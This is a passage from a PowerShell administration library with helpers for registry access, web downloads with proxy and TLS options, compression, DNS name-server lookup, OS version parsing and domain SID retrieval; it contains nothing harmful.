    DBG ('Registry data size to be read: {0}' -f $regDataSize)

    DBG ('Read the registry value data then')
    DBGSTART
    [IntPtr] $regData = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($regDataSize)
    $resUInt = [Sevecek.Win32Api.ADVAPI32]::RegQueryValueEx($regKey, $value, 0, [IntPtr]::Zero, $regData, [ref] $regDataSize)
    $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError() 
    #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    DBG ('WIN32API Result: 0x{0:X} | {1:D}' -f $resUInt, $resUInt)
    DBGIF $MyInvocation.MyCommand.Name { $resUInt -ne 0 }

    DBG ('Registry data read: {0}' -f $regDataSize)
    $regDataArray = New-Object byte[] $regDataSize
    DBGSTART
    [System.Runtime.InteropServices.Marshal]::Copy($regData, $regDataArray, 0, $regDataSize)
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND

    DBGSTART
    [System.Runtime.InteropServices.Marshal]::FreeHGlobal($regData)
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND


    DBG ('Registry data in raw format: {0}' -f ([BitConverter]::ToString($regDataArray)))


    Close-RegistryKey $regKey
  }


  DBG ('Returning registry data: {0} bytes' -f $regDataArray.Count)
  return ,$regDataArray
}


function global:Get-RegistryLastWriteTime ([string] $subKey, [string] $rootKey)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [DateTime] $regLastWriteTime = [DateTime]::MinValue


  $regKey = Open-RegistryKey -rootKey $rootKey -subKey $subKey

  if (Is-ValidHandle $regKey) {

    DBG ('Get the last write time to: {0} | {1}' -f $rootKey, $subKey)
    $lastWriteTime = New-Object System.Runtime.InteropServices.ComTypes.FILETIME

    DBGSTART
    $resUInt = [Sevecek.Win32Api.ADVAPI32]::RegQueryInfoKey(
      $regKey,
      $null, [ref] $null, $null, [ref] $null, [ref] $null, [ref] $null, [ref] $null, [ref] $null, [ref] $null, [ref] $null,
      [ref] $lastWriteTime
      )
    $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError()
    #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    DBG ('WIN32API Result: 0x{0:X} | {1:D}' -f $resUInt, $resUInt)
    DBGIF $MyInvocation.MyCommand.Name { $resUInt -ne 0 }

    Close-RegistryKey $regKey
    
    $uLow = [System.BitConverter]::ToUInt32([System.BitConverter]::GetBytes($lastWriteTime.dwLowDateTime), 0)
    $uHigh = [System.BitConverter]::ToUInt32([System.BitConverter]::GetBytes($lastWriteTime.dwHighDateTime), 0)
    $fileTime = (([Int64] $uHigh) * 4294967296) -bor $uLow
    $regLastWriteTime = [DateTime]::FromFileTime($fileTime)
  }

  DBGIF $MyInvocation.MyCommand.Name { $regLastWriteTime -eq [DateTime]::MinValue }
  DBG ('Last write time to the reg key: {0:s}' -f $regLastWriteTime)
  return $regLastWriteTime
}


function global:Define-CookieAwareWebClient ()
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  $typeCookieAwareWebClient = @"
    namespace Sevecek {

public class CookieAwareWebClient : System.Net.WebClient
{
  private System.Net.CookieContainer cookieContainer = new System.Net.CookieContainer();
  private bool keepAlive = true;

  public System.Net.CookieContainer Cookies { get { return this.cookieContainer; } }
  public bool KeepAlive { get { return this.keepAlive; } set { this.keepAlive = value; } }

  protected override System.Net.WebRequest GetWebRequest(System.Uri address)
  {
    System.Net.WebRequest baseRequest = base.GetWebRequest(address);

    if (baseRequest is System.Net.HttpWebRequest)
    {
      (baseRequest as System.Net.HttpWebRequest).CookieContainer = cookieContainer;
      (baseRequest as System.Net.HttpWebRequest).KeepAlive = keepAlive;
    }

    return baseRequest;
  }
}

    }
"@

  if (-not ('Sevecek.CookieAwareWebClient' -as [type])) {

    DBG ('Define the new type.')
    Add-Type -TypeDefinition $typeCookieAwareWebClient

  } else {

    DBG ('The type already exists. Skipping.')
  }
}


function global:Detect-EncodingFromBOM ([byte[]] $first4BytesOrLess)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

            # UTF8 prefix:       0xEF 0xBB 0xBF
            # UTF16 BE prefix:   0xFE 0xFF
            # Unicode prefix:    0xFF 0xFE
            # UTF16 LE prefix:   0xFF 0xFE
            # UTF32 BE prefix:   0x00 0x00 0xFE 0xFF
            # UTF32 LE prefix:   0xFF 0xFE 0x00 0x00
            # UTF7 prefix:       0x2B 0x2F 0x76
            # default XML (and probably even HTML encoding) is UTF-8 if not specified otherwise

  [System.Text.Encoding] $outEncoding = $null

  if ($first4BytesOrLess.Count -lt 2) {

    $outEncoding = [System.Text.Encoding]::GetEncoding('ISO-8859-1')
  
  } elseif (($first4BytesOrLess.Count -ge 4) -and ($first4BytesOrLess[0] -eq 0xFF) -and ($first4BytesOrLess[1] -eq 0xFE) -and ($first4BytesOrLess[2] -eq 0x00) -and ($first4BytesOrLess[3] -eq 0x00)) {

    $outEncoding = [System.Text.Encoding]::UTF32

  } elseif (($first4BytesOrLess.Count -ge 3) -and ($first4BytesOrLess[0] -eq 0xEF) -and ($first4BytesOrLess[1] -eq 0xBB) -and ($first4BytesOrLess[2] -eq 0xBF)) {

    $outEncoding = [System.Text.Encoding]::UTF8
  
  } elseif (($first4BytesOrLess.Count -ge 3) -and ($first4BytesOrLess[0] -eq 0x2B) -and ($first4BytesOrLess[1] -eq 0x2F) -and ($first4BytesOrLess[2] -eq 0x76)) {

    $outEncoding = [System.Text.Encoding]::UTF7

  } elseif (($first4BytesOrLess[0] -eq 0xFF) -and ($first4BytesOrLess[1] -eq 0xFE)) {

    $outEncoding = [System.Text.Encoding]::Unicode
  
  } elseif (($first4BytesOrLess[0] -eq 0xFE) -and ($first4BytesOrLess[1] -eq 0xFF)) {

    $outEncoding = [System.Text.Encoding]::BigEndianUnicode

  } else {

    $outEncoding = [System.Text.Encoding]::GetEncoding('ISO-8859-1')
  }


  DBG ('Encoding detected as: bodyName = {0} | codePage = {1} | name = {2}' -f $outEncoding.BodyName, $outEncoding.WindowsCodePage, $outEncoding.EncodingName)

  return $outEncoding
}


function global:Download-WebPage ([string] $url, [string] $userAgent = 'www-sevecek-com-download-web-page-script', [hashtable] $postParams, [System.Text.Encoding] $postEncoding = [System.Text.UnicodeEncoding]::UTF7, [bool] $returnByteArray, [bool] $defaultCredentials, [string] $userName, [string] $password, [string] $proxy, [bool] $proxyDefaultCredentials, [string] $proxyUserName, [string] $proxyPassword, [hashtable] $otherHeaders, [bool] $usePostData, [hashtable] $cookies, [bool] $keepAlive = $false, [switch] $tls10, [switch] $tls11, [switch] $tls12)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $url }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $userAgent }
  DBGIF $MyInvocation.MyCommand.Name { (Is-ValidString $userName) -and $defaultCredentials }
  DBGIF $MyInvocation.MyCommand.Name { (Is-ValidString $proxyUserName) -and $proxyDefaultCredentials }
  DBGIF $MyInvocation.MyCommand.Name { (Is-EmptyString $proxy) -and ((Is-ValidString $proxyUserName) -or $proxyDefaultCredentials) }

  [string] $outStr = $null
  [byte[]] $outBytes = $null

  if ((Is-ValidString $url) -and ($url -notlike "http://$global:invalidFQDN*") -and ($url -notlike "https://$global:invalidFQDN*")) {

    [string] $hostName = [regex]::Match($url, $global:rxHttpURL).Groups[2].Value
    DBG ('Host name determined from URL: {0}' -f $hostName)
    
    Define-CookieAwareWebClient

    DBG ('Instantiate new CookieAwareWebClient')
    DBGSTART
    $webClient = New-Object Sevecek.CookieAwareWebClient
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND

    if (Is-NonNull $webClient) {

      DBG ('Keep alive the TCP connection: {0}' -f $keepAlive)
      $webClient.KeepAlive = $keepAlive

      DBG ('Add some basic headers')
      DBGSTART
      $webClient.Headers.Add('Accept-Language', 'en-US')
      $webClient.Headers.Add('Accept', '*/*')
      $webClient.Headers.Add('User-Agent', $userAgent)
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND

      if (Is-NonNull $cookies) {

        foreach ($oneCookie in $cookies.Keys) {

          DBG ('Adding cookie: {0} = {1}' -f $oneCookie, $cookies[$oneCookie])
          DBGSTART
          [System.Net.Cookie] $newCookie = New-Object System.Net.Cookie ($oneCookie, $cookies[$oneCookie], '/', $hostName)
          $webClient.Cookies.Add($newCookie)
          DBGER $MyInvocation.MyCommand.Name $error
          DBGEND
        }
      }

      
      if (Is-NonNull $otherHeaders) {

        DBG ('Add other headers: {0}' -f (Get-CountSafe $otherHeaders))

        DBGSTART
        foreach ($oneHeader in $otherHeaders.Keys) {

          DBG ('Add other header: {0} | {1}' -f $oneHeader, $otherHeaders[$oneHeader])
          $webClient.Headers.Add($oneHeader, $otherHeaders[$oneHeader])
        }
        DBGER $MyInvocation.MyCommand.Name $error
        DBGEND
      }


      if ($defaultCredentials) {

        DBG ('Assign default credentials')
        DBGSTART
        $webClient.Credentials = [System.Net.CredentialCache]::DefaultCredentials
        DBGER $MyInvocation.MyCommand.Name $error
        DBGEND
      
      } elseif (Is-ValidString $userName) {

        DBG ('Assign explicit credentials: {0}' -f $userName)
        DBGSTART
        $webClient.Credentials = New-Object System.Net.NetworkCredential ($userName, $password)
        DBGER $MyInvocation.MyCommand.Name $error
        DBGEND
      }


      if (Is-ValidString $proxy) {

        DBG ('Go over proxy: {0}' -f $proxy)
        DBGIF $MyInvocation.MyCommand.Name { $proxy -notmatch $global:rxFqdn }
        DBGSTART
        $webClient.Proxy = New-Object System.Net.WebProxy ($proxy, $true)
        DBGER $MyInvocation.MyCommand.Name $error
        DBGEND

        if ($proxyDefaultCredentials) {

          DBG ('Assign default credentials for proxy')
          DBGSTART
          $webClient.Proxy.UseDefaultCredentials = $true
          DBGER $MyInvocation.MyCommand.Name $error
          DBGEND
      
        } elseif (Is-ValidString $userName) {

          DBG ('Assign explicit credentials for proxy: {0}' -f $proxyUserName)
          DBGSTART
          $webClient.Proxy.Credentials = New-Object System.Net.NetworkCredential ($proxyUserName, $proxyPassword)
          DBGER $MyInvocation.MyCommand.Name $error
          DBGEND
        }
      }


      [System.Net.SecurityProtocolType] $originalTLS = [System.Net.ServicePointManager]::SecurityProtocol
      [System.Net.SecurityProtocolType] $newTLS = 0
      
      if ($tls10 -or $tls11 -or $tls12) {

        if ($tls10) {

          DBG ('Enabling TLS 1.0')
          $newTLS = [System.Net.SecurityProtocolType]::Tls
        }

        if ($tls11) {

          DBG ('Enabling TLS 1.1')
          DBGIF ('TLS 1.1 supported since NetFx 4.0 only') { $PSVersionTable['CLRVersion'].Major -lt 4 }
          $newTLS = [System.Net.SecurityProtocolType]::Tls11
        }

        if ($tls12) {

          DBG ('Enabling TLS 1.2')
          DBGIF ('TLS 1.2 supported since NetFx 4.0 only') { $PSVersionTable['CLRVersion'].Major -lt 4 }
          $newTLS = [System.Net.SecurityProtocolType]::Tls12
        }

        if ($tls10) {

          $newTLS = $newTLS -bor [System.Net.SecurityProtocolType]::Tls
        }

        if ($tls11) {

          $newTLS = $newTLS -bor [System.Net.SecurityProtocolType]::Tls11
        }

        if ($tls12) {

          $newTLS = $newTLS -bor [System.Net.SecurityProtocolType]::Tls12
        }
      }

      if ($newTLS -ne 0) {

        DBG ('Setting the TLS versions: {0}' -f $newTLS)
        [System.Net.ServicePointManager]::SecurityProtocol = $newTLS
      }


      [byte[]] $downloadRes = $null

      if ($url -notlike '*?://*?') {

        $normalProtocolPrefix = 'http:'
        
        if ($url -notlike '//*?') {

          $normalProtocolPrefix = $normalProtocolPrefix + '//'
        }

        DBG ('Normalize URL to HTTP: {0} | {1}' -f $normalProtocolPrefix, $url)

        $url = $normalProtocolPrefix + $url
      }

      if (Is-NonNull $postParams) {

        DBG ('Set webClient encoding: {0}' -f $postEncoding.ToString())
        $webClient.Encoding = $postEncoding

        if (-not $usePostData) {

          DBG ('Add required POST parameters into UploadValues collection: {0}' -f (Get-CountSafe $postParams.Keys))
          DBGSTART
          $postValues = New-Object System.Collections.Specialized.NameValueCollection 
          DBGER $MyInvocation.MyCommand.Name $error
          DBGEND

          foreach ($onePostParamKey in $postParams.Keys) {

            DBG ('One POST param to add: {0} | {1}' -f $onePostParamKey, $postParams[$onePostParamKey])
            DBGSTART
            $postValues.Add($onePostParamKey, $postParams[$onePostParamKey])
            DBGER $MyInvocation.MyCommand.Name $error
            DBGEND
          }

          DBG ('Send the POST request to the server with UploadValues: {0}' -f $url)
          DBGSTART
          $downloadRes = $webClient.UploadValues($url, $postValues)
          DBGER $MyInvocation.MyCommand.Name $error
          DBGEND
        
        } else {

          DBG ('Add required POST parameters into UploadData string: {0}' -f (Get-CountSafe $postParams.Keys))

    # Note: UploadValues() method encodes the values according to RFC 2396.
    #       Sometimes, it is necessary to have a different encoding
    #       of the values, such as the RFC 3986 in case of Twitter
    #       Thus, we implement the UploadData() as well. The responsibility
    #       of the caller is to supply the string values already escaped
    #       the way he/she requires. We simply construct the key=value&key=value string
    #       end get its bytes.

          foreach ($onePostParamKey in $postParams.Keys) {

            DBG ('One POST param to add: {0} | {1}' -f $onePostParamKey, $postParams[$onePostParamKey])

            if (Is-EmptyString $postValuesInString) {

              $postValuesInString = '{0}={1}' -f $onePostParamKey, $postParams[$onePostParamKey]
            
            } else {

              $postValuesInString = '{0}&{1}={2}' -f $postValuesInString, $onePostParamKey, $postParams[$onePostParamKey]
            }
          }

          DBG ('POST data for UploadData: {0}' -f $postValuesInString)

          DBG ('Send the POST request to the server with UploadData: {0}' -f $url)
          DBGSTART
          $downloadRes = $webClient.UploadData($url, $postEncoding.GetBytes($postValuesInString))
          DBGER $MyInvocation.MyCommand.Name $error
          DBGEND
        }

      } else {

        DBG ('Send the GET request to the server: {0}' -f $url)
        DBGSTART
        $downloadRes = $webClient.DownloadData($url)
        DBGER $MyInvocation.MyCommand.Name $error
        DBGEND
      }

      DBGIF $MyInvocation.MyCommand.Name { Is-Null $downloadRes }

      if (Is-NonNull $downloadRes) {

        DBG ('Downloaded response [bytes]: {0}' -f (Get-CountSafe $downloadRes))

        DBGSTART        
        $contentEncoding = $webClient.ResponseHeaders['Content-Encoding']
        $contentType = $webClient.ResponseHeaders['Content-Type']
        DBGER $MyInvocation.MyCommand.Name $error
        DBGEND

        DBGSTART
        $charset = [RegEx]::Match($contentType, 'charset=(.*?)(?:\s|\Z)').Groups[1].Value
        DBGER $MyInvocation.MyCommand.Name $error
        DBGEND

        if (Is-ValidString $charset) {

          DBGSTART
          $charsetEncoding = [System.Text.Encoding]::GetEncoding($charset)
          DBGER $MyInvocation.MyCommand.Name $error
          DBGEND
        }

        #DBGIF $MyInvocation.MyCommand.Name { Is-Null $charsetEncoding }
        DBGIF $MyInvocation.MyCommand.Name { (Is-NonNull $charsetEncoding) -and ($charsetEncoding.WebName -ne $charset) }
        #DBGIF $MyInvocation.MyCommand.Name { $charsetEncoding.WindowsCodePage -ne $webClient.Encoding.WindowsCodePage }
        #DBGIF $MyInvocation.MyCommand.Name { $charsetEncoding.BodyName -ne $webClient.Encoding.BodyName }

        DBG ('Content-Encoding: header = {0} | webClient = {1} | bodyName = {2} | codePage = {3} | name = {4}' -f $contentEncoding, $webClient.Encoding.WebName, $webClient.Encoding.BodyName, $webClient.Encoding.WindowsCodePage, $webClient.Encoding.EncodingName)
        DBG ('Content-Type: header = {0} | charset = {1} | bodyName = {2} | codePage = {3} | name = {4}' -f $contentType, $charset, $charsetEncoding.BodyName, $charsetEncoding.WindowsCodePage, $charsetEncoding.EncodingName)

        if (-not $returnByteArray) {
    
          DBG ('Going to convert to string as requested')
          
          if (Is-NonNull $charsetEncoding) {

            DBG ('Will use the charset encoding')
            $outStr = $charsetEncoding.GetString($downloadRes)
          
          } else {

            DBG ('Will try to detect encoding as the charset not specified')
            #$outStr = $webClient.Encoding.GetString($downloadRes)
            #$outStr = [System.Text.Encoding]::Default.GetString($downloadRes)
            $outStr = (Detect-EncodingFromBOM $downloadRes[0..4]).GetString($downloadRes)
          }

          DBG ('Resulting string length: {0}' -f $outStr.Length)
        
        } else {

          $outBytes = $downloadRes
        }
      }

      DBG ('Dispose WebClient')
      DBGSTART
      $webClient.Dispose()
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND


      if ($newTLS -ne 0) {

        DBG ('Restoring the TLS version: {0}' -f $originalTLS)
        [System.Net.ServicePointManager]::SecurityProtocol = $originalTLS
      }
    }
  }

  if ($returnByteArray) {

    return $outBytes

  } else {

    return $outStr
  }
}


function global:CompresssWithGZip ([string] $text, [Text.Encoding] $encoding = [Text.Encoding]::UTF8)
{
  [byte[]] $sourceToZip = $encoding.GetBytes($text)

  $zippedMem = New-Object IO.MemoryStream

  $zipper = New-Object IO.Compression.GZipStream ($zippedMem, [System.IO.Compression.CompressionMode]::Compress, $true)
  [void] $zipper.Write($sourceToZip, 0, $sourceToZip.Length)
  $zipper.Close()
  $zipper.Dispose()

  [byte[]] $compressed = $zippedMem.ToArray()

  return [Convert]::ToBase64String($compressed)
}


function global:DecompressWithGZip ([string] $compressedInBase64, [Text.Encoding] $encoding = [Text.Encoding]::UTF8)
{
  [byte[]] $sourceToUnzip = [Convert]::FromBase64String($compressedInBase64)
 
  $zippedMem = New-Object IO.MemoryStream
  [void] $zippedMem.Write($sourceToUnzip, 0, $sourceToUnzip.Length)
  [void] $zippedMem.Seek(0, 'Begin')

  $unzip = New-Object IO.Compression.GZipStream ($zippedMem, [System.IO.Compression.CompressionMode]::Decompress, $true)

  $unzippedMem = New-Object IO.MemoryStream

  [byte[]] $buffer = New-Object byte[] 64
  [int] $read = $unzip.Read($buffer, 0, $buffer.Length)
  while ($read -gt 0) { 

    [void] $unzippedMem.Write($buffer, 0, $read)
    $read = $unzip.Read($buffer, 0, $buffer.Length)
  }

  $unzip.Close()
  $unzip.Dispose()

  [byte[]] $decompressed = $unzippedMem.ToArray()

  return $encoding.GetString($decompressed)
}




function global:CompresssWithDeflate ([string] $text, [Text.Encoding] $encoding = [Text.Encoding]::UTF8)
{
  [byte[]] $sourceToZip = $encoding.GetBytes($text)

  $zippedMem = New-Object IO.MemoryStream

  $zipper = New-Object IO.Compression.DeflateStream ($zippedMem, [System.IO.Compression.CompressionMode]::Compress, $true)
  [void] $zipper.Write($sourceToZip, 0, $sourceToZip.Length)
  $zipper.Close()
  $zipper.Dispose()

  [byte[]] $compressed = $zippedMem.ToArray()

  return [Convert]::ToBase64String($compressed)
}


function global:DecompressWithDeflate ([string] $compressedInBase64, [Text.Encoding] $encoding = [Text.Encoding]::UTF8)
{
  [byte[]] $sourceToUnzip = [Convert]::FromBase64String($compressedInBase64)
 
  $zippedMem = New-Object IO.MemoryStream
  [void] $zippedMem.Write($sourceToUnzip, 0, $sourceToUnzip.Length)
  [void] $zippedMem.Seek(0, 'Begin')

  $unzip = New-Object IO.Compression.DeflateStream ($zippedMem, [System.IO.Compression.CompressionMode]::Decompress, $true)

  $unzippedMem = New-Object IO.MemoryStream

  [byte[]] $buffer = New-Object byte[] 64
  [int] $read = $unzip.Read($buffer, 0, $buffer.Length)
  while ($read -gt 0) { 

    [void] $unzippedMem.Write($buffer, 0, $read)
    $read = $unzip.Read($buffer, 0, $buffer.Length)
  }

  $unzip.Close()
  $unzip.Dispose()

  [byte[]] $decompressed = $unzippedMem.ToArray()

  return $encoding.GetString($decompressed)
}


function global:Resolve-DnsRecord ([string] $rrType, [string] $name)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [Collections.ArrayList] $outRecords = @()

  DBGIF $MyInvocation.MyCommand.Name { $name -notlike '?*.?*' }
  [string[]] $nslookupOutput = (& 'nslookup' '-nodefname' "-q=$rrType" $name)
  DBG ('NSLOOKUP output: #{0} | {1}' -f $nslookupOutput.Count, ($nslookupOutput | Out-String))
  DBGIF $MyInvocation.MyCommand.Name { $nslookupOutput.Count -lt 3 }

  if ($rrType -eq 'NS') {

    DBGIF $MyInvocation.MyCommand.Name { $nslookupOutput[1] -notlike 'Address:  ?*' }
    [string] $dnsServer = $nslookupOutput | ? { $_ -like 'Address:  ?*' } | Select -First 1 | % { $_.Split(':')[1].Trim() }
    DBG ('DNS server address determined: {0}' -f $dnsServer)
    DBGIF $MyInvocation.MyCommand.Name { -not (Is-IPv4OrIPv6Address $dnsServer) }

    foreach ($oneNslookupOutputLine in $nslookupOutput) {

      if ($oneNslookupOutputLine -like "$name`tnameserver = ?*") {

        $oneNameServerName = $oneNslookupOutputLine.Split('=')[1].Trim()
        DBG ('One NameServer found: {0}' -f $oneNameServerName)
        DBGIF $MyInvocation.MyCommand.Name { $oneNameServerName -notlike '?*.?*' }

        $newNameServer = New-Object PSObject
        Add-Member -Input $newNameServer -MemberType NoteProperty -Name rrType -Value $rrType
        Add-Member -Input $newNameServer -MemberType NoteProperty -Name name -Value $oneNameServerName
        Add-Member -Input $newNameServer -MemberType NoteProperty -Name ip -Value ''

        foreach ($otherNslookupOutputLine in $nslookupOutput) {

          if ($otherNslookupOutputLine -like "$oneNameServerName`tinternet address = ?*") {

            $oneNameServerIP = $otherNslookupOutputLine.Split('=')[1].Trim()
            DBG ('NameServer IP address found: {0}' -f $oneNameServerIP)
            $newNameServer.ip = $oneNameServerIP
          }
        }

        DBGIF $MyInvocation.MyCommand.Name { -not (Is-IPv4OrIPv6Address $newNameServer.ip) }

        [void] $outRecords.Add($newNameServer)
      }
    }

  } else {

    DBGIF 'Unknown or non-implemented RR type specified' { $true }
  }


  DBG ('Returning records: {0}' -f $outRecords.Count)
  return ,$outRecords
}


function global:Find-PatternSequence ([byte[]] $sourceBytes, [byte[]] $patternBytes)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  DBGIF $MyInvocation.MyCommand.Name { Is-Null $sourceBytes }
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $patternBytes }
  DBGIF $MyInvocation.MyCommand.Name { $sourceBytes.Length -lt $patternBytes.Length }
  DBGIF $MyInvocation.MyCommand.Name { $patternBytes.Length -lt 1 }

  $slen = $sourceBytes.Count
  $plen = $patternBytes.Count

  $seqStart = -1
  $seqEnd = -1

  $si = 0
  while (($si -le ($slen - $plen)) -and ($si -lt ($slen - ($seqEnd - $seqStart)))) {

    #DBG ('sequence idx: {0}' -f $si)

    $pi = 0
    $seqStartCurrent = $si
    $seqEndCurrent = $si

    while (($pi -lt $plen) -and ($sourceBytes[$si] -eq $patternBytes[$pi])) {
      
      #DBG ('sequence matching: {0}' -f $si)
         
      if ($pi -eq ($plen - 1)) {

        $seqEndCurrent = $si
        $pi = 0
        #DBG ('repeat sequence: {0}' -f $si)

      } else {

        $pi ++
      }

      $si ++
    } 


    if (($seqEndCurrent - $seqStartCurrent) -gt ($seqEnd - $seqStart)) {

      DBG ('Found largest sequence yet: {0} | {1} | {2}' -f $seqStartCurrent, $seqEndCurrent, (($seqEndCurrent - $seqStartCurrent) + 1))
      $seqStart = $seqStartCurrent
      $seqEnd = $seqEndCurrent
    }


    if ($seqEndCurrent -ne $seqStartCurrent) {

      $si = $seqEndCurrent - $plen + 2
    
    } else {

      $si = $seqStartCurrent + 1
    }


    if (($si % 150000) -eq 0) { 

      DBG ('Progress at: {0}' -f $si)
    }
  }

  DBG ('Pattern sequence found: {0} | {1}' -f $seqStart, $seqEnd)

  $outIdxs = New-Object PSCustomObject
  Add-Member -Input $outIdxs -MemberType NoteProperty -Name start -Value $seqStart
  Add-Member -Input $outIdxs -MemberType NoteProperty -Name end -Value $seqEnd

  return $outIdxs
}


function global:Normalize-OSVersionString ([string] $osVersionReal, [bool] $isClient)
# The function assumes you supply dotted major.minor.something.anythingelse version format (like for example 6.1.3850.3848094)
# and normalizes it to major.minor only and adds the clt/srv suffix
# Primary use of the function would be to obtain supported CPU values from $hypervClientCPUMatrix
{
  $osVersionNormal = ''

  $correctFormat = $osVersionReal -match '\A\d+\.\d+'

  if ($correctFormat) {

    $osVersionNormal = $Matches[0]

    if ($isClient) {

      $osVersionNormal += 'clt'

    } else {

      $osVersionNormal += 'srv'
    }
  }

  DBG ('Normalized Hyper-V OS version: {0}' -f $osVersionNormal)
  return $osVersionNormal
}


function global:Get-OSVersionNumberString ([string] $osVersionString, [bool] $includeBuild)
{
  if ($osVersionString -notmatch '\A\d+\.\d+\.\d+') {

    $includeBuild = $false
  }

  DBGIF ('Invalid OS version string: {0}' -f $osVersionString) { ($osVersionString -notlike '*.*.*') -and ($osVersionString -notlike '*.*') }
  DBGIF ('Invalid OS version string: {0}' -f $osVersionString) { $includeBuild -and ($osVersionString -notlike '*.*.*') }
  DBGIF ('Invalid OS version string: {0}' -f $osVersionString) { ($osVersionString -notmatch '\A\d+\.\d+\.\d+\Z') -and ($osVersionString -notmatch '\A\d+\.\d+\Z') -and ($osVersionString -notmatch '\A\d+\.\d+\.\d+\.\d+\Z') }

  if (-not $includeBuild) {

    $majorMinorVersionMatch = [RegEx]::Match($osVersionString, '\A(\d+\.\d+)')
    DBGIF $MyInvocation.MyCommand.Name { -not $majorMinorVersionMatch.Success }
    DBGIF $MyInvocation.MyCommand.Name { $majorMinorVersionMatch.Groups.Count -ne 2 }
  
    [string] $outString = $majorMinorVersionMatch.Groups[1].Value
  
  } else {

    $majorMinorBuildVersionMatch = [RegEx]::Match($osVersionString, '\A(\d+\.\d+)\.(\d+)')
    DBGIF $MyInvocation.MyCommand.Name { -not $majorMinorBuildVersionMatch.Success }
    DBGIF $MyInvocation.MyCommand.Name { $majorMinorBuildVersionMatch.Groups.Count -ne 3 }
    DBGIF $MyInvocation.MyCommand.Name { $majorMinorBuildVersionMatch.Groups[2].Value.Length -gt 6 }

    DBGSTART
    [string] $outString = '{0}{1:D6}' -f $majorMinorBuildVersionMatch.Groups[1].Value, ([int] $majorMinorBuildVersionMatch.Groups[2].Value)
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
  }

  return $outString
}


function global:Get-OSVersionNumber ([string] $osVersionString, [bool] $includeBuild)
{
  DBGSTART
  [double] $majorMinorVersion = [double] (Get-OSVersionNumberString $osVersionString -includeBuild $includeBuild)
  DBGER ('Invalid number format: {0}' -f $osVersionString) $error
  DBGEND

  return $majorMinorVersion
}


function global:Get-LocalSAMDatabaseSID ()
{
  [string] $localSAMsid = ''

  if (($global:thisOSRole -eq 'BDC') -or ($global:thisOSRole -eq 'PDC')) {

    [System.Collections.ArrayList] $deList = @()
    $rootDSE = Get-DE 'RootDSE' ([ref] $deList)
    $domainDN = GDES $rootDSE defaultNamingContext
    $domainDE = Get-DE $domainDN ([ref] $deList)
    $localSAMsid = GDESID $domainDE objectSID
    Dispose-List ([ref] $deList)

  } else {

    DBG ('Get local SAM domain SID')
    [string] $builtinAdminSID = (Get-WMIQuerySingleObject '.' ('SELECT * FROM Win32_UserAccount WHERE (LocalAccount = TRUE) AND (SID LIKE "S-1-5-21-%{0}")' -f $global:wellKnownSIDs['Administrator'])).SID
    DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $builtinAdminSID }

    $localSAMsid = $builtinAdminSID.SubString(0, ($builtinAdminSID.Length - 4))
  }

  return $localSAMsid
}


function global:Get-PrimaryDomainSID ()
{
  # Note: this script obtains SID of the primary AD domain for the local computer. It works both
  #       if the local computer is a domain member (DomainRole = 1 or DomainRole = 3)
  #       or if the local computer is a domain controller (DomainRole = 4 or DomainRole = 4).
  #       The code works even under local user account and does not require calling user
  #       to be domain account. This should also work on any AD domain regardless of language
  #       mutation because, hopefully, the krbtgt account has always the same name. The only
  #       requirement is to be online against an AD DC.
  #       Solution for a fully offline determination would require a complex script with
  #       LsaOpePolicy(POLICY_VIEW_LOCAL_INFORMATION) - POLICY_VIEW_LOCAL_INFORMATION does not require local Administrators membership
  #       LsaQueryInformationPolicy(PolicyPrimaryDomainInformation)

  [string] $domainSID = $null

  [int] $domainRole = gwmi Win32_ComputerSystem | Select -Expand DomainRole
  [bool] $isDomainMember = ($domainRole -ne 0) -and ($domainRole -ne 2)

  if ($isDomainMember) {

    [string] $domain = gwmi Win32_ComputerSystem | Select -Expand Domain
    [string] $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value
    $domainSID = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))
  }

  return $domainSID
}


function global:Ask-UserForBool ([string] $query, [string] $defaultVal, [ref] $autoDefault)
{
  switch ($defaultVal) {
   
    { 'true', 'yes', 'ano', 't', 'y', 'a', '1' -contains $_ } { $defaultVal = 'true' }
